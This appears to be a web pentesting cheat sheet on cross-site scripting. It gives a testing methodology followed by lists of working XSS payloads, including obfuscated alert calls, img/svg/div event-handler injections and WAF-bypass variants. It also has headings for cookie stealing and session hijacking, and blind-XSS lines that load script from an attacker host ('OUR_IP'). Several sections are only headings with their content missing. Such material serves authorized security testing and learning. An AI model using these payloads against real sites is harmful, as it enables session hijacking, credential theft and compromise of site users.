Cross Site Scripting (XSS)
Reflected XSS
Test every entry point.
Submit random alphanumeric values
Determine the reflection context.
This might be in text between HTML tags
Within a tag attribute which might be quoted
within a JavaScript string
etc.
Test a candidate payload
Send to repeter to facilitated the testing process
Test alternative payloads.
In order to bypass WAF or Security Protections
Test the attack in a browser.
// Basic payload
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script>
"><script>alert(String.fromCharCode(88,83,83))</script>
<script>\u0061lert('22')</script>
<script>eval('\x61lert(\'33\')')</script>
<script>eval(8680439..toString(30))(983801..toString(36))</script> //parseInt("confirm",30) == 8680439 && 8680439..toString(30) == "confirm"
<object/data="javascript:alert(23)">
// Img payload
<img src=x onerror=alert('XSS')>
<img src=x onerror=alert('XSS')//
<><img src=x onerror=alert('XSS')>
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>
<><img src=1 onerror=alert(1)>
// Svg payload
<svgonload=alert(1)>
<svg/onload=alert('XSS')>
<svg onload=alert(1)//
<svg/onload=alert(String.fromCharCode(88,83,83))>
<svg id=alert(1) onload=eval(id)>
"><svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg/onload=alert(/XSS/)
<svg><script href=data:,alert(1) />(`Firefox` is the only browser which allows self closing script)
<svg><script>alert('33')
<svg><script>alert('33')
// Div payload
<div onpointerover="alert(45)">MOVE HERE</div>
<div onpointerdown="alert(45)">MOVE HERE</div>
<div onpointerenter="alert(45)">MOVE HERE</div>
<div onpointerleave="alert(45)">MOVE HERE</div>
<div onpointermove="alert(45)">MOVE HERE</div>
<div onpointerout="alert(45)">MOVE HERE</div>
<div onpointerup="alert(45)">MOVE HERE</div>XSS in document.write
XSS in innerHTML
Between div tags:
XSS in URI
Identify endpoints such as: https://example.com/feedback?returnPath=PAYLOADHERE then attempt the next payloads:
XSS on window.location.hash
XSS when brackets are encoded
if you see the payload is encoded such as: > attempt to inject the payload in the same tag for example
XSS when double quotes are encoded
Find any other parameter where the input is reflected such as href:

XSS into a JavaScript string with angle brackets HTML encoded
If the payload is reflected in a structure such as: var searchTerms = 'mypayload';
DOM XSS in AngularJS expression
if you identified a ng-app word in html is worth to try this payload:
Reflected DOM XSS
This application uses a vulnerable JavaScript script that utilizes the eval function to process a parameter passed into the application and reflects it onto the website.

Exploit:
Reflected XSS into HTML context with tags and attributes blocked
Use https://portswigger.net/web-security/cross-site-scripting/cheat-sheet to retrieve a list of all tags an events and fuzz using intruder to obtain the valid tags and events and craft the xss payload.
Reflected XSS in canonical link tag
if the espace character is encoded you could use %09 (tab) to bypass the space restriction.
Reflected XSS into a javascript string with single quote and blackslash escaped
Cookie steal samples
Example 1: Simple cookie steal
Example 2: Cookie steal without user interaction
Example 3: Sending data via post
Example 4: Sending data via Get
Example 5: Change Email information
How to hunt Blind XSS
Set up a http server
Select the payload :
PayloadsAllTheThings/XSS Injection at master · swisskyrepo/PayloadsAllTheThings
You have to test each input field by using a <field-name>.js in a such way that when it is processed the vulnerable field will hit your server.
<script src=http://OUR_IP/fullname><script src=http://OUR_IP/profileimage><script src=http://OUR_IP/text>
image.png
Send the request and if you are lucky it will hit the serve and you will know which is the vulnerable field.
XSS Session hijaking
Set up the php server
Select the payload:
"><script src=http://OUR_IP></script>Create the script.js
Create the index.php
Send to the vulnerable field.
XSS via uploaded image
XSS via SVG
Form Malicious Payload
Tools:
Awesome resources
https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS Injection/README.md
Last updated